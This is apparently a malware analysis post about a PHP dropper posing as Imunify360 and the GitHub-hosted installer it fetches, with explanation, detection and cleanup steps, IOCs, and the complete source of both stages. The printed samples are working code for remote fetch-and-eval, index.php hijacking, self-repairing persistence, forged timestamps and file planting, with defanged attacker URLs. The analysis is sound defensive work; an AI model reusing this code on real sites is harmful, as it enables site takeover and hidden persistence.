This dropper is named after a real hosting security product, Imunify360, which a lot of shared hosts run to scan for malware. The attacker uses the name on the function and in a setting, so the file looks like part of the host’s security stack. It isn’t. All it does is download PHP from GitHub and run it.

The interesting part is what it downloads. The GitHub repo is still public, so I could read the whole second stage. This post covers both.

Stage 1: The Dropper#

The dropper is a single index.php. Here are the first lines:

<?=
error_reporting(0);
define('SECURE_ACCESS', true);
header('X-Powered-By: none');
header('Content-Type: text/html; charset=UTF-8');
ini_set('lsapi_backend_off', '1');
http_response_code(403);
ini_set("imunify360.cleanup_on_restore", false);
http_response_code(404);

What I can say about each line:

  • <?= is the short echo tag, so this line prints the return value of error_reporting(0), which is the previous error level. I ran the line and it prints a stray number (30719 in my test) at the top of the page. It’s a sloppy tell: the output of a “missing” page starts with a number.
  • error_reporting(0) hides all PHP errors, including any from the code that follows.
  • X-Powered-By: none removes the PHP version header.
  • The status code is set to 403 and then immediately to 404, so the last one wins. The goal is for anything that checks the HTTP status (a scanner, a monitoring tool, a crawler) to see a missing page while the payload runs. This only works if PHP output buffering is on. I tested the same lines on a local PHP server: with output_buffering=4096 (a common production default) the response was a 404, but with output_buffering=0 the stray number from the <?= line is sent first, the header() calls silently fail, and the response stays 200. So the trick is host dependent.
  • lsapi_backend_off and imunify360.cleanup_on_restore are the two settings I couldn’t verify. I searched for both and found no documentation for either. They look like attempts to interfere with LiteSpeed or Imunify360 behavior, but I can’t tell you what they actually do, and they may do nothing. I’d treat them as part of the camouflage.

Building the function names#

The rest of the file is a download function named imunify(). It avoids ever writing the names of the functions it needs:

$fpn = "f"."o"."p"."e"."n";
$strim = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$fgt = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$cexec = "c"."u"."r"."l"."_"."e"."x"."e"."c";

A scanner that looks for file_get_contents( or curl_exec( won’t see them, because the strings only exist after PHP joins them at runtime. It tries cURL first, then file_get_contents, then fopen + stream_get_contents, so it works on hosts that disable some of these.

Finally it fetches and runs the payload:

$secure = imunify('hxxps://raw[.]githubusercontent[.]com/35ww3qq/7667/refs/heads/main/ff.php');
eval('?>' . $secure);

Starting the eval’d string with ?> drops out of PHP mode first, so the payload can be written like a normal PHP file, with its own <?php tag.

There’s no cookie, key, or allow-list check. The payload is fetched and run on every request to this file, and the cURL call has no timeout. If GitHub is unreachable the request just hangs. Compare this with the dead drop loaders I wrote up earlier: there, the moving part was a one-line URL file. Here it’s the whole second stage, hosted on GitHub.

Stage 2: ff.php#

As of 2026-10-24 the repo 35ww3qq/7667 and the ff.php file are both still live. I downloaded the file as text into an empty folder and read it without running it. I did not contact any of the attacker’s other servers.

The repo itself says more than the file does:

  • The GitHub account 35ww3qq was created in April 2024 and has 12 public repos and no followers. The 7667 repo was created on 2024-11-14, and was last pushed on 2025-01-03.
  • Besides ff.php, the repo has a.php, gh1.txt, vv.txt, and a full web application: login.php, register.php, forgot-password.php, reset-password.php, logout.php, a panel/ folder, a cron/ folder, and a database.sql file. Registration and password reset pages suggest a multi-user control panel. I didn’t dig into it.
  • There’s also a 103 KB error_log file committed to the repo. I haven’t opened it. Logs like that often contain details about real servers, so anyone who does should handle it with care.

What ff.php does#

Housekeeping. It reads the optional query parameters (q, tm, root), then deletes files that might expose the infection or help the owner: robots.txt, sitemap.xml, error_log, ads.txt, and any google*.html verification file. Those last ones are what you’d use to prove site ownership to Google.

A plain request with no q parameter doesn’t run anything. It prints a single link and exits:

<a href="?q=2&t=<unix time>">DB_auto11.</a>

That DB_auto11. link is a handy fingerprint. If you load a suspicious file and it shows only that, you’ve found the installer.

Getting its config. It requests a URL built from chr() calls, spoofing a Bing crawler user-agent:

$uc = urla(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(97)...'W.php');

Decoded, that is hxxp://auto1022[.]dataablog[.]com/_api_auto_241206_W.php. The 241206 looks like a date stamp (2024-12-06), but that’s a guess. The response has to be longer than 999 characters and contain a semicolon, otherwise the script tries to delete itself and prints Auto_Failure. It is then split on ; into a list. From the code, the list is used like this:

SlotUse
0base64 .htaccess
1URL of an extra file to download
3base64 PHP doorway code
4 to 10base64 PHP files to plant
9base64 file for wp-includes/fonts/index.php (or feed-rss.php on non-WordPress sites)
11directory name (defaults to blog)
12URL of a stylesheet saved as styles.css

I haven’t seen the config. It’s served by the attacker’s server, so I can’t tell you what the doorway code or the planted files contain.

Hijacking index.php. On a WordPress site, the installer does three things:

  1. Writes the doorway code to a hidden file named .ht plus four random lowercase letters, such as .htqkrm. The .ht prefix is chosen because web servers refuse to serve files starting with .ht, and most admins ignore them.
  2. Replaces index.php with the doorway code followed by the normal WordPress loader:
$wpindex = $hycode.'<?php define("WP_USE_THEMES",true); require __DIR__."/wp-blog-header.php";?>';

The site keeps working, so nobody notices, but the doorway code runs first on every visit to the home page.

  1. Overwrites wp-blog-header.php with a version that repairs index.php. It checks the file size of index.php and, if it doesn’t match, rewrites it from a base64 copy:
$A="index.php";
if(@filesize($A)!=<length>){
    $f=@fopen($A,"w");
    @fwrite($f,base64_decode("..."));
    @fclose($f);
}
if (!isset($wp_did_header)){ ... require_once ABSPATH.WPINC."/template-loader.php"; }

It then continues with the normal WordPress startup. This is the same idea as the query.php watchdog, and it has the same effect on cleanups: if you fix index.php without fixing wp-blog-header.php, it comes back.

On a site that isn’t WordPress, it prepends a short include(".ht....") line to the existing index.php. The old file is renamed to index.php.bak first. If there is no index.php, it creates one that tries to include index.html, _index.html, or _index.htm, and renames the originals to match.

Then it deletes .htaccess, writes the one from the config, and calls opcache_reset() so PHP picks up the new files immediately.

Forged timestamps. Every file it writes gets a modification time, using this function:

function mtime() {
    $time = time()-rand(10,100)*86400;
    $tArr = glob(W.'/*.php');
    foreach($tArr as $v) { $time2 = @filemtime($v); if($time2>100&&$time2<$time) $time = $time2; }
    return $time;
}

It picks the oldest .php file in the site root (or a random date 10 to 100 days ago, whichever is older). New files then get that time plus a few seconds (mkfile() also randomizes by up to an hour). Sorting by “recently modified” in a file manager will not show them. As in the other samples, this means timestamps can’t be used to decide whether a file is clean.

Scattering files. enfile() plants the PHP files from the config around the site:

  • In the site root, three files named wp-e<random>.php, wp-m<random>.php and wp-l<random>.php, which look like WordPress core files. (It also creates wp-admin, wp-content and wp-includes if they’re missing.)
  • In up to four random subdirectories that don’t already have an index.php, files called index.php (three of them) and x<random>.php (one). The loop stops after seven files in total.
  • wp-includes/fonts/index.php, plus one more index.php in a random lowercase directory under wp-content/.

The installer’s own status line labels this step SH:. It would be reasonable to guess that some of those files are shells, but without the config I can’t confirm that.

Reporting back. At the end it prints a status line to the HTTP response, with ;; as the separator: the site’s URL with a ?<letter>=10091 marker, the theme character, and db261. Whatever called ff.php (probably the panel in that repo) can read that to learn which files were written.

The Dropper’s Unused Constant#

The dropper defines SECURE_ACCESS as true. Nothing in ff.php checks it, so it either is a leftover, or it is used by planted files whose code I can’t see. I wouldn’t read anything into it.

Detection & Cleanup#

  • Search PHP files for raw[.]githubusercontent[.]com together with eval(. A function named imunify outside of an Imunify360 install is a strong hit. (Imunify360 is a standalone product and is not installed as a PHP function in your web root.)
  • Look for hidden files that begin with .ht and aren’t .htaccess or .htpasswd. A file such as .htqkrm in the web root is not normal.
  • Compare wp-blog-header.php against a clean WordPress copy. The real one is about a dozen lines. wp core verify-checksums will flag it, and index.php too.
  • Check for new wp-e*.php, wp-m*.php and wp-l*.php in the web root, wp-includes/fonts/index.php, and any index.php or x*.php in directories that never had one.
  • Order matters. Remove the repair stub in wp-blog-header.php and the dropper before you restore index.php, or it will be overwritten again. Also review .htaccess; it will have been replaced.
  • Block outbound requests from PHP to raw[.]githubusercontent[.]com if the site has no reason to make them, and watch for requests to dataablog[.]com.
  • If the site had a Google verification file such as google*.html, it’s been deleted, so check Search Console for lost ownership.

IOCs#

Dropper:  function imunify($url) ... eval('?>' . $secure)
Stage 2:  hxxps://raw[.]githubusercontent[.]com/35ww3qq/7667/refs/heads/main/ff.php
GitHub:   github[.]com/35ww3qq/7667  (account created 2024-04-06, repo 2024-11-14)
Config:   hxxp://auto1022[.]dataablog[.]com/_api_auto_241206_W.php
Output:   "DB_auto11." link, "Auto_Failure", ";;" separators, "db261"
Files:    .ht<4 lowercase letters>, wp-e*.php, wp-m*.php, wp-l*.php,
          wp-includes/fonts/index.php, feed-rss.php, index.php.bak, styles.css
Modified: index.php, wp-blog-header.php, .htaccess
User-Agent used by installer: Mozilla/5.0 (compatible; bingbot/2.0; hxxp://www[.]bing[.]com/bingbot)

Samples#

index.php (dropper)
<?=
error_reporting(0);
define('SECURE_ACCESS', true);
header('X-Powered-By: none');
header('Content-Type: text/html; charset=UTF-8');
ini_set('lsapi_backend_off', '1');
http_response_code(403);
ini_set("imunify360.cleanup_on_restore", false);
http_response_code(404);
    function imunify($url)
    {
      $fpn = "f"."o"."p"."e"."n";
      $strim = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
      $fgt = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
      $cexec = "c"."u"."r"."l"."_"."e"."x"."e"."c";
        if (function_exists($cexec)) {
            $conn = curl_init($url);
            curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
            curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
            $urls = $cexec($conn);
            curl_close($conn);
        } elseif (function_exists($fgt)) {
            $urls = $fgt($url);
        } elseif (function_exists($fpn) && function_exists($strim)) {
            $handle = $fpn($url, "r");
            $urls = $strim($handle);
            fclose($handle);
        } else {
            $urls = false;
        }
        return $urls;
    }
    $secure = imunify('hxxps://raw[.]githubusercontent[.]com/35ww3qq/7667/refs/heads/main/ff.php');
    eval('?>' . $secure);
?>
ff.php (stage 2, fetched from GitHub 2026-10-24)
<?php 
header('Access-Control-Allow-Origin:*');
error_reporting(E_ALL);
set_time_limit(120);
ignore_user_abort(1);
$q = !empty($_GET['q']) ? trim($_GET['q']) : '';if ($q) {@unlink('robots.txt');@unlink('sitemap.xml');if($q=='4'){unlink($_SERVER['SCRIPT_FILENAME']);exit;}
$TM = !empty($_GET['tm']) ? trim($_GET['tm']) : 'w';
$W = !empty($_GET['root']) ? (int)$_GET['root'] : '2';if($W==1) {define('W', $_SERVER['DOCUMENT_ROOT']);} else {if(strstr($_SERVER['SCRIPT_FILENAME'],'\\')) $_SERVER['PHP_SELF'] = str_replace('/','\\',$_SERVER['PHP_SELF']);define('W', rtrim(str_replace($_SERVER['PHP_SELF'],'',$_SERVER['SCRIPT_FILENAME']),'/'));}$useragent = "Mozilla/5.0 (compatible; bingbot/2.0; hxxp://www[.]bing[.]com/bingbot)";$root = W; @chdir($root); clearfile();clearfile(2,'google*.html');$host = $_SERVER["HTTP_HOST"];$http = ((isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on") ? 'https' : 'http').'://'.$host.'/';$hostkey = substr(preg_replace('/[w0-9\.-]/','',str_replace('www.','',$host)),0,5);$mycode = get_code();$newdir = isset($mycode[11]) ? $mycode[11] : 'blog';$hyurl = '?'.substr($hostkey,0,1).'=10091';$isWP = (file_exists('wp-includes') && file_exists('wp-content') && file_exists('wp-settings.php'));@unlink(__FILE__);msg($http.$hyurl);msg(strtoupper($TM));msg('db261');if($q>1) {try {$res = set_index();	msg($res);} catch (\Exception $E) {msg('IndexFail');}}if($q>=1) {$arpath8 = array();fi1($root);$fp2 = @fp2($root);$res3 = enfile();msg($res3);}if($q>1) {if(strlen(@$mycode[12])>10) mkfile('styles.css',@file_get_contents(@$mycode[12]));}} else {exit('<a href="?q=2&t='.time().'">DB_auto11.</a>');}function urla($url, $time=30) {global $useragent;$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');curl_setopt($ch, CURLOPT_USERAGENT, $useragent);if (stripos($url, "https:") === false) {curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);}curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, $time);$body = curl_exec($ch);curl_close($ch);return $body;}function msg($res) {if (is_array($res)&&!empty($res['msg'])) {echo implode(',',$res['msg']).';;';} else {echo $res.';;';}}function set_index() {global $root, $http, $host, $ht, $mycode, $isWP, $newdir, $hyurl, $TM;$data = array();$data['status'] = 'ok';$index_file = 'index.php';$htaccess_file = '.htaccess';$time = mtime()+2;$hycode = base64_decode($mycode[3]);$htaccess = base64_decode($mycode[0]);$hycode = str_replace('= 261;','= 261;',$hycode);if($TM!='e') $hycode = str_replace('"e"','"'.$TM.'"',$hycode);$hyfile = '.ht'.chars(4,2);mkfile($hyfile,$hycode,$time);if(!file_exists($hyfile)) {$data['msg'][] = '#NotWrite.'; return $data;}$data['msg'][] = $hyfile;if($isWP) {$data['msg'][] = 'WP:';$wpindex = $hycode.'<?php define("WP_USE_THEMES",true); require __DIR__."/wp-blog-header.php";?>';mkfile('index.php',$wpindex,$time);$A = chars(3);$restore = '$'.$A.'="index.php";if(@filesize($'.$A.')!='.strlen($wpindex).'){$f=@fopen($'.$A.',"w");@fwrite($f,base64_decode("'.base64_encode($wpindex).'"));@fclose($f);}';$restore = '<?php '.$restore.' if (!isset($wp_did_header)){$wp_did_header=true;require_once __DIR__."/wp-load.php";wp();require_once ABSPATH.WPINC."/template-loader.php";}';mkfile('wp-blog-header.php',$restore,$time);} else {$data['msg'][] = 'PHP:'; $_include = '<?php if(file_exists("'.$hyfile.'")){include("'.$hyfile.'");} ?>';if(file_exists($index_file)) { infile($index_file,$_include,1,$hyfile);} else {$_include .= '<?php if(file_exists("index.html")){include("index.html");exit;}elseif(file_exists("_index.html")){include("_index.html");exit;}else{@include("_index.htm");exit;}?>';@unlink($index_file);mkfile($index_file,$_include,$time);@rename(W.'/index.html',W.'/_index.html');@rename(W.'/index.htm',W.'/_index.htm');}}@unlink($htaccess_file);mkfile($htaccess_file,$htaccess,$time);try {function_exists('opcache_reset') && opcache_reset();} catch (\Exception $E) {}return $data;}function chars($n=5,$t=0) {$chars = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h','i', 'j', 'k', 'l','m', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y','z','A', 'B', 'C', 'D', 'E', 'F', 'G', 'H','I', 'J', 'K', 'L','M', 'N', 'O', 'P', 'Q', 'R', 'S','T', 'U', 'V', 'W', 'X', 'Y','Z');$s = '';for($i = 0; $i < $n; $i++) {$s .= $chars[mt_rand(0, sizeof($chars) - 1)];}return ($t==1 ? strtoupper($s) : ($t==2 ? strtolower($s) : $s));}function mkfile($F,$C,$T='',$mod=0) {if(!strstr($F,W)) $F = W.'/'.$F;$dir = dirname($F);if(!empty($dir)&&!file_exists($dir)) @mkdir($dir);$fp = @fopen($F, 'w');@fwrite($fp, trim($C));@fclose($fp);if(empty($T)) $T = time()-86400*266;$T = $T+rand(1,3600);@touch($F, $T);if($mod) @chmod($F,0444);return (file_exists($F) ? str_replace(W,'',$F) : '~');}function mtime() {$time = time()-rand(10,100)*86400;$tArr = glob(W.'/*.php');foreach($tArr as $v) {	$time2 = @filemtime($v);	if($time2>100&&$time2<$time) $time = $time2;}return $time;}function refile($F,$a,$b,$k) {if(!strstr($F,W)) $F = W.'/'.$F;if(file_exists($F)) {$code = @file_get_contents($F);if(!empty($code)&&!preg_match('/'.$k.'/',$code)) {$time = @filemtime($F);$code = str_replace($a,$b,$code);return mkfile($F,$code,$time+2);}return '~';}}function infile($F,$C,$T=1,$K='sitemap') {if(!strstr($F,W)) $F = W.'/'.$F;if(file_exists($F)) {$code = @file_get_contents($F);if(!empty($code)&&strpos($code,$K)===false) {if($T==2) {$code = $code.$C;} else{$code = $C.$code;} $mtime = @filemtime($F);@unlink($F.'.bak');@rename($F,$F.'.bak');return mkfile($F,$code,$mtime+2);}return '~';}}function enfile() {global $root, $http, $arpath8, $fp2, $mycode, $hyurl, $isWP;$data = array();$data['msg'][] = 'SH:';$mydir = array();if(count($arpath8)<3) $mydir = array('cgi_bin',chars(5),chars(5));if($isWP) $mydir = array('wp-admin','wp-content', 'wp-includes');$dirlist = $fp2; $num = 6;if(count($dirlist)<$num) $dirlist = $arpath8;if(count($dirlist)<$num) $num = count($dirlist);if($num>1) {$ranfile = array_rand($dirlist, $num);foreach ($ranfile as $i) {array_push($mydir, $dirlist[$i]);}}elseif($num==1){array_push($mydir, $dirlist[0]);}$II = 4; foreach($mydir as $i=>$v) {if(!file_exists($v)) mkdir($v);$name = strtolower(chars(5));switch ($II){case 4:$name = 'e'.$name;break;case 5:$name = 'm'.$name;break;case 6:$name = 'l'.$name;break;case 7:case 8:case 9:$name = 'index';break;default:$name = 'x'.$name;}if(in_array($v,array('wp-admin','wp-content', 'wp-includes'))) {$file = 'wp-'.$name.'.php';} else {$file = $v.'/'.$name.'.php';}$code = base64_decode(!empty($mycode[$II]) ? $mycode[$II] : $mycode[10]);$II++;$data['msg'][] = mkfile($file,$code);if($II>10) break;}if($isWP) {$shfile = 'wp-includes/fonts/index.php';if(strlen(@$mycode[1])>10) $data['msg'][] = mkfile('wp-content/'.chars(5,2).'/index.php',@file_get_contents(@$mycode[1]));} else {$shfile = 'feed-rss.php';if(strlen(@$mycode[1])>10) $data['msg'][] = mkfile(chars(5,2).'/index.php',@file_get_contents(@$mycode[1]));}$data['msg'][] = mkfile($shfile,base64_decode($mycode[9]));return $data;}function fi1($path) {global $root, $arpath8;if ($handle = opendir($path)) {while (($file = readdir($handle)) !== false) {if ($file != "." && $file != "..") {$pfile = $path . "/" . $file;if (is_dir($pfile) && !is_link($pfile) &&!preg_match('/(__MACOSX)/',$file)) {if (substr_count(str_replace($root . '/', '', $pfile), '/') < 3) {fi1($pfile);}if (!file_exists($pfile."/index.php")) array_push($arpath8, str_replace($root . '/', '', $pfile));}}}}shuffle($arpath8);}function fp2($root) {global $root, $arpath8;$p_arr = array();$pnew_arr = array();foreach ($arpath8 as $k => $v) {$qupath = str_replace($root, "", $v);$p_arr[$k] = explode("/", $qupath);if (count($p_arr[$k]) >= 3) {$pnew_arr[] = $v;}}return $pnew_arr;}function get_code() {$a = '';$uc = urla(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(97).chr(117).chr(116).chr(111).chr(49).chr(48).chr(50).chr(50).chr(46).chr(100).chr(97).chr(116).chr(97).chr(97).chr(98).chr(108).chr(111).chr(103).chr(46).chr(99).chr(111).chr(109).chr(47).chr(95).chr(97).chr(112).chr(105).chr(95).chr(97).chr(117).chr(116).chr(111).chr(95).chr(50).chr(52).chr(49).chr(50).chr(48).chr(54).chr(95).'W.php');if(!empty($uc) && strlen($uc)>999 && strpos($uc,';')) {$a = explode(';',$uc);} else {@unlink(__FILE__);exit('Auto_Failure');}return $a;}function clearfile($t=1, $f='') {if($t==1) {@unlink(W.'/robots.txt');@unlink(W.'/sitemap.xml');@unlink(W.'/error_log');@unlink(W.'/ads.txt');} elseif($t==2){$arr = glob(W.'/'.$f);if(empty($arr)) return;foreach($arr as $v) {	@unlink($v);}}} ?>